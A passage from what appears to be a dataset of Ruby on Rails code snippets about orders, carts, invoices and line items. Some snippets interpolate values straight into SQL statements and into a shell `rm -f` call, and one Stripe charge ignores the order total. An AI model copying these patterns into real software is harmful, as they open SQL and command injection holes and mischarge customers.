"def place_order\n @order = Order.new(order_params)\n @basket.line_items.map do |line_item|\n @order.line_items << line_item\n item.basket_id = nil\n\n dish = Dish.find(line_item.dish_id)\n dish.inventory -= line_item.quantity\n dish.save\n end\n @order.save\n @basket.destroy\n render Dish.all, status: :ok\n end",
"def create\n @receipt = Receipt.new\n @receipt.user = current_user\n @receipt.save!\n current_cart.line_items.each do |a|\n current_record = add_record_to_receipt(a.post.title, a)\n current_record.receipt = @receipt\n current_record.save!\n end\n @receipt.save!\n current_cart.destroy\n redirect_to receipts_url\n end",
"def destroy_booking_line(item_id)\n\n product_lines = self.booking_lines.select do |booking_line|\n booking_line.item_id == item_id\n end\n\n if booking_line = product_lines.first\n transaction do\n self.item_cost -= booking_line.item_cost\n self.product_deposit_cost -= booking_line.product_deposit_cost\n self.category_supplement_1_cost -= booking_line.category_supplement_1_cost\n self.category_supplement_2_cost -= booking_line.category_supplement_2_cost\n self.category_supplement_3_cost -= booking_line.category_supplement_3_cost \n self.calculate_cost(false, false)\n self.save\n booking_line.destroy\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'destroy_booking_line',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.booking_news_feed.destroyed_booking_line(item_id),\n attributes_updated: {item_id: item_id}.merge({booking: newsfeed_summary}).to_json)\n end\n self.reload\n end\n\n end",
"def test_remove_promotion_multiple_items\n setup_new_order_with_items()\n editable_order_codes = (1..5)\n editable_order_codes.each do |status_id|\n o_status = OrderStatusCode.find(status_id)\n assert_kind_of OrderStatusCode, o_status\n\n @o.order_status_code = o_status\n assert @o.is_editable?\n \n promo = promotions(:fixed_rebate)\n @o.promotion_code = promo.code\n assert @o.save\n assert_kind_of OrderLineItem, @o.promotion_line_item\n # Add dupe line item.\n dupe_item = @o.promotion_line_item.clone\n @o.order_line_items << dupe_item\n assert_equal 2, @o.order_line_items.count(\n :conditions => [\"name = ?\", @o.promotion.description]\n )\n # Remove\n @o.remove_promotion()\n assert_nil @o.promotion_line_item\n end\n end",
"def down\n # Find, then split, items with quantity > 1 into multiple items.\n LineItem.where(\"quantity > 1\").each do |line_item|\n\n # Add individual items as new line items for this cart and product,\n # each with a quantity of 1\n line_item.quantity.times do\n LineItem.create cart_id: line_item.cart_id,\n product_id: line_item.product_id, quantity: 1\n end # End of: line_item.quantity.times do\n\n # Delete the line item, i.e., the original item.\n line_item.destroy\n end # End of: LineItem.where(\"quantity>1\").each do |line_item|\n\n end",
"def destroy_or_save(line_item, line_item_quantity)\n line_item_quantity.zero? ? line_item.destroy! : line_item.save!\n end",
"def test_should_remove_second_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr2 = trows[::WatirBrowser.item_index(2)]\r\n assert tr2.exists?\r\n @basic_user.populate(tr2.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description two\")\r\n\r\n #remove the second line item\r\n tr2.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description \r\n \r\n end",
"def create_line_item_for_per_person_charge_2 qty, event_vendor, include_price_in_expense, include_price_in_revenue, notes\n # Vendor\n l1 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => \"MT-\" + event_vendor.menu_template_id.to_s.rjust(7, '0'), :name => \"* Per Person Charge (\" + event_vendor.vendor.name + \")\", :quantity => qty,\n :unit_price_expense => event_vendor.calculate_menu_level_cogs,\n :tax_rate_expense => 0,\n :payable_party => event_vendor.vendor,\n :include_price_in_expense => include_price_in_expense,\n :menu_template => event_vendor.menu_template, :event => self)\n\n # Account\n l2 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => \"MT-\" + event_vendor.menu_template_id.to_s.rjust(7, '0'), :name => \"* Per Person Charge (\" + event_vendor.vendor.name + \")\", :quantity => qty,\n :unit_price_revenue => event_vendor.calculate_menu_level_sell_price,\n :billable_party => account,\n :include_price_in_revenue => include_price_in_revenue,\n :menu_template => event_vendor.menu_template, :event => self)\n\n l1.opposing_line_item = l2\n l2.opposing_line_item = l1\n l1.save\n l2.save\n \n [l1, l2]\n end",
"def create \n @product = Product.find_by_title(params[:product]) \n @line_item = LineItem.new(params[:line_item])\n @line_item.product_id = @product.id\n @line_items= LineItem.where(:demand_id => @line_item.demand_id, :product_id => @line_item.product_id)\n \n @quantity = @line_item.quantity\n \n if @line_items != nil\n @line_items.each do |item|\n @quantity += item.quantity\n LineItem.find(item.id).destroy\n end\n @line_item.update_attributes(:quantity => @quantity)\n end\n \n respond_to do |format|\n if @line_item.save\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def handle_merge(current_line_item, other_order_line_item)\n if current_line_item\n current_line_item.quantity += other_order_line_item.quantity\n handle_error(current_line_item) unless current_line_item.save\n else\n order.line_items << other_order_line_item\n handle_error(other_order_line_item) unless other_order_line_item.save\n end\n end",
"def update_and_post_ledgers\n update_result = false;\n line_items = gst_credit_note_line_items\n transaction do\n if update\n Ledger.delete(ledgers)\n random_str = Ledger.generate_secure_random\n line_items.each do |line_item|\n debit_ledger_entry = Ledger.new_gst_debit_ledger(line_item.from_account_id, company_id, gst_credit_note_date, line_item.amount, gst_credit_note_number, created_by, branch_id, random_str, to_account_id)\n credit_ledger_entry = Ledger.new_gst_credit_ledger(to_account_id, company_id, gst_credit_note_date, line_item.amount, gst_credit_note_number, created_by, branch_id, random_str, line_item.from_account_id)\n #build relationship between invoice and ledgers\n ledgers << debit_ledger_entry\n ledgers << credit_ledger_entry\n end\n\n tax_line_items.reload\n tax_line_items.each do |line_item|\n tax_account = line_item.account\n next if (tax_account.accountable_type=='DutiesAndTaxesAccounts' && tax_account.accountable.calculation_method==4 && tax_account.accountable.split_tax == 0)\n random_str=Ledger.generate_secure_random\n debit_ledger_entry = Ledger.new_gst_debit_ledger(line_item.account_id, company_id, gst_credit_note_date, line_item.amount, gst_credit_note_number, created_by, branch_id, random_str, to_account_id)\n credit_ledger_entry = Ledger.new_gst_credit_ledger(to_account_id, company_id, gst_credit_note_date, line_item.amount, gst_credit_note_number, created_by, branch_id, random_str, line_item.account_id)\n #build relationship between expense and ledgers\n ledgers << credit_ledger_entry\n ledgers << debit_ledger_entry\n end\n update_result = true\n end\n end\n end",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def create\n @order = Order.new(:customer_id => order_params[:customer_id])\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.new(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_dsl_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n assert_equal 3, @basic_user.adds_line_item(:unit => 'New line item', :description => 'Description of new line item')\r\n assert @basic_user.removes_line_item(2)\r\n @basic_user.edits_line_item(1, :description => 'Changed Description One').\r\n and_submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n\r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def duplicate(qty_ordered, qty_received = nil, qty_issued = nil)\n new_item = OrderedLineItem.create!(self.attributes.merge({\n :quantity_ordered => qty_ordered, \n :quantity_received => qty_received, \n :issued_quantity => qty_issued,\n :date_received => nil\n }))\n new_item.line_item_no = self.line_item_no\n new_item.save!\n end",
"def update\n order_changed = false\n @errors = Array.new #holds error objects\n @line_items = Array.new #holds existing_line items in case of errors\n line_items = params[:line_items]\n #Loop through @line_items first to validate but NOT to persist. If any is invalid, then render the order edit\n #view to display @errors without saving. Otherwise save them and redirect to order show page.\n \n line_items.each do |li|\n line_item = LineItem.new(li)\n if ! li[:id].empty? #has value for id\n existing_line_item = LineItem.find(li[:id]) #line item already exists\n if line_item.quantity == 0 || line_item.quantity.nil? #quantity changed to 0\n #existing_line_item.destroy\n #order_changed = true\n @line_items << existing_line_item\n elsif existing_line_item.quantity == line_item.quantity #quantity not changed\n #do nothing if quantity not changed\n @line_items << existing_line_item\n else #quantity changed to something other than 0\n #existing_line_item.update_attributes(li)\n @errors << line_item.errors if line_item.invalid?\n @line_items << existing_line_item\n #order_changed = true\n end\n elsif line_item.quantity != 0 && line_item.id.nil? && ! line_item.quantity.nil? #line item does not already exist, so need to create a new one\n #@line_item = line_item\n line_item.order_id = params[:order_id]\n #@line_item.save\n #order_changed = true\n @errors << line_item.errors if line_item.invalid?\n @line_items << line_item\n else\n @line_items << line_item\n end\n end #each to validate\n if ! @errors.empty?\n @order = Order.find(params[:order_id])\n render \"orders/edit\"\n else\n line_items.each do |li|\n line_item = LineItem.new(li)\n if ! li[:id].empty? #has value for id\n existing_line_item = LineItem.find(li[:id]) #line item already exists\n if line_item.quantity == 0 || line_item.quantity.nil? #quantity changed to 0\n existing_line_item.destroy\n order_changed = true\n elsif existing_line_item.quantity == line_item.quantity #quantity not changed\n #do nothing if quantity not changed\n else #quantity changed to something other than 0\n existing_line_item.update_attributes(li)\n \n order_changed = true\n end\n elsif line_item.quantity != 0 && line_item.id.nil? && ! line_item.quantity.nil? #line item does not already exist, so need to create a new one\n line_item = line_item\n line_item.order_id = params[:order_id]\n line_item.save\n order_changed = true\n end\n end #each to save\n \n UserMailer.send_invoice(current_user, Order.find(params[:order_id]), true).deliver if order_changed\n notice = order_changed ? 'Order was successfully updated' : 'Order was not changed'\n redirect_to Order.find(params[:order_id]), notice: notice\n end\n end",
"def create\n parent_line_item = get_parent_line_item\n if parent_line_item\n @line_item = parent_line_item.dup\n @line_item.line_item = parent_line_item\n @line_item.searchable = false\n @line_item.admin_verified = false\n @line_item.section_id = line_item_params[\"section_id\"]\n else\n @line_item = LineItem.new(line_item_params);\n end\n\n if @line_item.save\n render json: @line_item, status: :created, location: @line_item\n else\n render nothing: true, status: :bad_request\n end\n end",
"def save_lines\n detail_lines.save_line \n end",
"def create\n\n puts \"======ENTERING ORDER CREATE ROUTINE===\"\n\n @order = Order.new(order_params)\n\n puts \"=====EXECUTED ORDER.new ===============\"\n\n @order.user_id = current_user.id\n\n puts \"===Retrieving LINE_ITEMS in Order.create==============\"\n if user_signed_in? \n @line_items = LineItem.all.where(user: current_user).order(\"created_at DESC\")\n else\n @line_items = LineItem.all.where(user: 0)\n end\n\n @line_item = @line_items.first\n @order.delivery_date = @line_item.delivery_date\n @order.total_price = @line_items.to_a.sum { |item| item.unit_price(item.quantity) }\n\n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n\n begin\n charge = Stripe::Charge.create(\n :amount => ( 11.99 * 100).floor,\n :currency => \"usd\",\n :card => token\n )\n flash[:notice] = \"Thanks for ordering!\"\n rescue Stripe::CardError => e\n flash[:danger] = e.message\n end\n \n puts \"=======Entering Order.save=====\"\n\n respond_to do |format|\n if @order.save\n \n puts \"=====EXECUTED ORDER.new Order Id is #{@order.id}\"\n LineItem.where(:user_id => current_user).update_all(\"order_id = #{@order.id}\")\n\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n\n format.html { redirect_to store_index_path, notice: 'Thank you for your order.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def purge!\n unless self.ordered?\n self.line_items.each do |line_item|\n remove_line_item(line_item) if line_item.invalid?\n end\n end\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def link_line_item(line_item)\n self.spree_line_item_id = line_item.id\n self.save!\n end",
"def create_line_item(table)\r\n values = []\r\n if table_exists?(table)\r\n columns = get_column_names(table)[1..-1]\r\n insert = Array.new(columns).fill('?').join(\", \")\r\n get_data_types(table).each_with_index do |type, i|\r\n prefix = nil\r\n prefix = columns[i].split('_id').join if /[_id]$/.match(columns[i])\r\n if !get_tables.include? prefix\r\n values << get_number(columns[i]) if type == 'INTEGER' || type == 'INT'\r\n values << get_string(columns[i]) if type == 'VARCHAR(255)'\r\n values << get_boolean(columns[i]) if type == 'BOOLEAN'\r\n else\r\n puts \"#{columns[i]} references table #{prefix}\"\r\n puts \"would you like to see that table now?\"\r\n print_table(prefix) if get_response == 'yes'\r\n puts \"would you like to reference one of the available lines?\"\r\n response = get_response\r\n if response == 'no' || get_ids(prefix).empty?\r\n puts \"That table has no lines to reference. We'll have to make a new one.\" if response == 'yes'\r\n puts \"Alright! We will now create a new line for you to reference\"\r\n create_line_item(prefix)\r\n values << get_ids(prefix)[-1]\r\n else \r\n puts \"Alright! Please input the id of the line you'd like to reference\"\r\n values << get_valid_id(prefix)\r\n end\r\n end\r\n end\r\n @db.execute(\"INSERT INTO #{table} (#{columns.join(\", \")}) VALUES (#{insert})\", values)\r\n end\r\n end",
"def create\n\n puts params.inspect.green\n puts params[:remove].inspect.yellow\n\n @cart = current_cart\n\n product = Product.find_by_id(params[:line_item][:product_id])\n\n location = Location.find_by_id(session[:current_location_id])\n\n if !params[:remove]\n puts \"Add\".yellow\n restaurant = product.menu.restaurant\n @line_item = LineItem.where(cart_id: @cart.id, :product_id => product.id).first_or_create\n @line_item.update_attributes(params[:line_item])\n\n\n if @line_item.save\n\n render partial: 'restaurants/cart', locals:{location: location}\n else\n render partial: 'restaurants/cart'\n end\n\n else\n puts \"Remove\".yellow\n\n puts\n @line_item = LineItem.where(cart_id: @cart.id, :product_id => product.id).first\n\n puts @line_item.inspect.magenta\n\n @line_item.destroy\n\n render partial: 'restaurants/cart', locals:{location: location}\n end\n end",
"def create\n line_items = params[:delivery].has_key?(:line_items) ? params[:delivery].delete(:line_items) : []\n @delivery = Delivery.new(params[:delivery])\n @delivery.comments.build(params[:comment]) if params[:comment] && !params[:comment][:body].blank?\n line_items.each{ |l| @delivery.line_items.build(l) } unless line_items.empty?\n if @delivery.save\n flash[:notice] = \"Successfully created delivery.\"\n if @delivery.print_after_save\n redirect_to delivery_path(@delivery, :format => :pdf)\n else\n redirect_to @delivery\n end\n else\n render :action => 'new'\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def add_or_create_line_item(item_id)\n if line_item = self.line_items.find_by(item_id: item_id)\n line_item.increment\n line_item\n else\n LineItem.new(cart_id: self.id, item_id: item_id)\n end\n end",
"def update\n @order.line_items.destroy_all\n @order.update(cost: 0)\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.create(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n end\n end",
"def delete\n LineItem.delete_for_order(order_id)\n CreditCardTransaction.remove_references_to_order(order_id)\n super\n end",
"def test_should_add_edit_and_remove_line_items_in_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_no_difference 'LineItem.count' do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n @basic_user.link(:id, \"add_line_item\").click\r\n\r\n #get newly added last row in the table to enter text\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(trows.length)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),'Description of new line item')\r\n \r\n #remove the second line item\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(2)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Deleted Description two\")\r\n tr.link(:name, 'remove').click\r\n assert_equal false, tr.visible?\r\n \r\n #edit the first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 3, trows.length\r\n tr = trows[::WatirBrowser.item_index(1)]\r\n assert tr.exists?\r\n @basic_user.populate(tr.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Changed Description One\")\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 2, invoice.line_items.count\r\n \r\n assert_equal 'Changed Description One', invoice.line_items[0].description\r\n assert_equal line_items(:line_item_one).description, invoice.line_items[0].description\r\n end",
"def create_line_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\texisting_line_item = Item.where('product_id = ? AND sale_id = ?', params[:product_id], @sale.id).first\n\n\t\tif existing_line_item.blank?\n\t\t\tline_item = Item.new(product_id: params[:product_id], sale_id: params[:sale_id], quantity: params[:quantity])\n\t\t\tline_item.price = line_item.product.price\n\t\t\tline_item.save\n\n\t\t\tremove_item_from_stock(params[:product_id])\n\t\t\tupdate_line_item_totals(line_item)\n\t\telse\n\t\t\texisting_line_item.quantity += 1\n\t\t\texisting_line_item.save\n\n\t\t\tremove_item_from_stock(params[:product_id])\n\t\t\tupdate_line_item_totals(existing_line_item)\n\t\tend\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def remove_line_item(line_item)\n unless self.ordered?\n line_item.destroy\n end\n end",
"def delete_lines_main_order\n # Eliminamos las lineas de la orden principal\n @main_order.line_items.each do |line_item|\n line_item.delete\n end\n # Eliminamos la orden principal\n @main_order.delete\n end",
"def rollback_item\n ingreso_producto = self.ingreso_producto\n ingreso_producto.cantidad = ingreso_producto.cantidad + self.cantidad\n ingreso_producto.producto.stock = ingreso_producto.producto.stock + self.cantidad #suma al stock si se anula\n Lineakardex.create(:kardex => ingreso_producto.producto.kardex, :tipo => \"Entrada\", :fecha => Time.now, :cantidad => self.cantidad, :v_unitario => self.ingreso_producto.producto.precio_venta, :modulo => \"Hospitalizacion\", :observaciones => \"Pedido Anulado\" )\n ingreso_producto.save\n ingreso_producto.producto.save\n end",
"def add_item(item_id)\n self.add_or_create_line_item(item_id)\n end",
"def issue_refer_line_items\n line_items.each do |line|\n logger.debug \"==@@@@==SalesOrder refer_line_id== #{line.refer_line_id}\"\n po_line = LineItem.find(line.refer_line_id)\n po_line.update_attribute(:quantity_issued, po_line.quantity_issued + line.quantity)\n\n line.update_attribute(:cart_id, nil)\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_items.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def merge!(order)\n if self.line_items.count > 0\n order.destroy\n else\n self.billing_address = self.billing_address || order.billing_address\n self.shipping_address = self.shipping_address || order.shipping_address\n order.line_items.each do |line_item|\n next unless line_item.currency == currency\n line_item.order_id = self.id\n line_item.save\n end\n\n end\n end",
"def test_should_remove_first_line_item_from_invoice\r\n assert_no_difference 'Invoice.count' do\r\n assert_difference 'LineItem.count', -1 do\r\n @basic_user.edits_invoice(invoices(:invoice_with_line_items).id)\r\n \r\n #get first row in the table.\r\n trows = @basic_user.line_items_rows\r\n assert_equal 2, trows.length\r\n tr1 = trows[::WatirBrowser.item_index(1)]\r\n assert tr1.exists?\r\n @basic_user.populate(tr1.text_field(:name, \"invoice[line_items_attributes][][description]\"),\"Removed Description one\")\r\n\r\n #remove the first line item\r\n tr1.link(:name, 'remove').click\r\n\r\n @basic_user.submits\r\n end\r\n end\r\n \r\n invoice = Invoice.find(invoices(:invoice_with_line_items).id)\r\n assert_equal 1, invoice.line_items.count\r\n assert_equal line_items(:line_item_two).description, invoice.line_items[0].description\r\n end",
"def test_delete_previous_promotion_line_item\n setup_new_order_with_items()\n \n a_fixed_rebate = promotions(:fixed_rebate)\n @o.promotion_code = a_fixed_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description).name, a_fixed_rebate.description, \"The fixed rebate wasn't added properly.\"\n\n # Test a percent rebate.\n a_percent_rebate = promotions(:percent_rebate)\n @o.promotion_code = a_percent_rebate.code\n # Saving it, sets the promo code and product cost.\n assert @o.save\n # Assert the promotion is there.\n assert_equal @o.order_line_items.find_by_name(a_percent_rebate.description).name, a_percent_rebate.description, \"The percent rebate wasn't added properly.\"\n\n # Assert the previous promotion is NOT there.\n assert_equal @o.order_line_items.find_by_name(a_fixed_rebate.description), nil, \"The fixed rebate is still there.\"\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def issue_unissue_po_line_items_when_so_and_cart_diffs(issue_cart)\n logger.debug \"==@@@@==SalesOrder: issue unissue(), issuce_cart.id==== #{issue_cart.id}\"\n # so line_items not in cart(will be removed), issueback po\n self.line_items.each do |so_line|\n if not issue_cart.line_items.where(line_number: so_line.line_number).exists?\n logger.debug \"==@@@@==line_items to be removed from so==== #{so_line.id}\"\n self.issue_back_refer_line_item(so_line, so_line.quantity)\n end\n end\n\n # cart line_items not in so(will be added), issue po\n issue_cart.line_items.each do |line_item|\n # cart line_items not in so: to be added to so\n if not self.line_items.where(line_number: line_item.line_number).exists?\n logger.debug \"==@@@@==new line, to be added to so==== #{line_item.id}\" \n self.issue_refer_line_item(line_item, line_item.quantity) \n else # exist, but quantity different\n line = self.line_items.where(line_number: line_item.line_number).take\n logger.debug \"==@@@@==exsit line, update po==== #{line_item.id}\"\n if line.quantity < line_item.quantity\n self.issue_refer_line_item(line_item, line_item.quantity - line.quantity)\n elsif line.quantity > line_item.quantity\n self.issue_back_refer_line_item(line_item, line.quantity - line_item.quantity) \n end\n end\n end\n end",
"def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def create_receipts\n @lines.each_with_index do |line, i|\n # Create new Rceipt\n if line.include?('. « P A R A G O N F I S K A L N Y « ')\n begins_at_line = i - header_length\n @receipt = SaleReceipt.new(sale_id: self.id, begins_at_line: begins_at_line)\n next\n end\n \n # If there are 2 empty lines tell receipt to read itself \n # and search for another receipt\n if @receipt && line.strip.empty? && @lines[i+1].strip.empty?\n @receipt.ends_at_line = i-1\n @receipt.save\n @receipt = nil\n next\n end\n end\n end",
"def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def create\n ordered_item_from_table = OrderedItem.new(passed_parameters_from_items_index)\n order = Order.where(id: ordered_item_from_table.order_id, confirmed: false, user_id: current_user.id).last\n ordered_item_from_db = OrderedItem.where(order_id: order.id, item_id: ordered_item_from_table.item_id).last\n \n if ordered_item_from_db.present?\n item = Item.where(id: ordered_item_from_db.item_id).last\n if item.quantity > 0\n if ordered_item_from_db.update(quantity: ordered_item_from_db.quantity + 1) && item.update(quantity: item.quantity - 1)\n redirect_to items_path\n flash[:notice] = \"Item has been added to your order.\"\n else\n redirect_to items_path\n flash[:alert] = \"Item can not be added to your order.\"\n end\n else \n redirect_to items_path\n flash[:alert] = \"Item can not be added to your order.\"\n end\n \n\n else\n @ordered_item = OrderedItem.new(passed_parameters_from_items_index)\n @item = Item.find(@ordered_item.item_id)\n\n if @item.quantity > 0\n @item.quantity -= @ordered_item.quantity\n @item.update(quantity: @item.quantity )\n if @ordered_item.save\n redirect_to items_path\n flash[:notice] = \"Item has been added to your order.\"\n else\n redirect_to items_path\n flash[:alert] = \"Item can not be added to your order.\"\n end\n \n\n else\n flash[:alert] = \"Something went wrong! Item was not added to the cart\"\n redirect_to items_path\n end\n\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end",
"def associate_cart_line_items(the_cart)\n the_cart.line_items.each do |a_line_item|\n a_line_item.order_id = self.id\n a_line_item.save\n #self.line_items << a_line_item # LineItem row is saved, with our order_id\n end\n the_cart.order_id = self.id\n the_cart.save\n #self.save\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end",
"def delete_line_item(table)\r\n if table_exists?(table)\r\n print_table(table)\r\n puts \"please choose the id number of the line you'd like to delete.\"\r\n id = get_valid_id(table)\r\n delete = (\"DELETE FROM #{table} WHERE id = #{id}\")\r\n @db.execute(delete)\r\n end\r\n end",
"def add_items!(items)\n add_items_to_queue!(:todo, items)\n end",
"def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def new_order(items, quantities, tweet_id, campaign_id)\r\n\r\n #Creates the new order in the table, with the passed parameters\r\n order = Order.new do |u|\r\n u.user_id = User.where(twitter_id: get_user_from_tweet(tweet_id)).pluck(:id).join\r\n u.tweet_id = tweet_id\r\n u.order_state_id = 1\r\n u.location_id = User.where(twitter_id: get_user_from_tweet(tweet_id)).pluck(:location_id).join\r\n if(campaign_id)\r\n u.campaign_id = campaign_id\r\n end\r\n end\r\n order.save\r\n\r\n #Creates each order_item in the Order linking table\r\n items.each_with_index do |item,i|\r\n order_item = OrderItem.new do |u|\r\n u.order_id = order.id\r\n u.item_id = Item.find_by(name: item).id\r\n u.quantity = quantities[i].to_i\r\n end\r\n order_item.save\r\n end\r\nend",
"def create_shippment(items)\n fill_boxes(items)\n shippment_object\n make_json_object\n end",
"def add_line_items_from(cart)\n\t\tcart.line_items.each do |item| \n\t\t\titem.cart_id = nil \n\t\t\tline_items << item \n\t\tend\n\tend",
"def lock_new_invoice_line_items party, document\n # Generate fixed-price post sub total line items from percentage based sub total line items\n subtotal = revenue_subtotal_by_party(party, false)\n line_items_after_subtotal_percentage_by_billable_party(party).each do |li|\n fixed_price = li.revenue_total_with_percentage subtotal\n line_items.create!(li.attributes.merge({unit_price_revenue: fixed_price, name: \"#{li.name} (#{li.unit_price_revenue}%)\", percentage_of_subtotal: false, parent_id: li.id}))\n end\n\n line_items_fixed_by_billable_party_including_add_ons(party, false).each do |li|\n li.document = document\n li.save\n end\n end",
"def destroy\n @line_item = current_member.seller.line_items.find(params[:id])\n @line_item.destroy\n \n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.xml { render :nothing => true }\n end\n end",
"def puts_massage_and_delete_md()\n puts \"created #{@id}.org\".green\n puts \"URL: #{@items[\"url\"]}\"\n system \"rm -f #{@id}.md\"\n end",
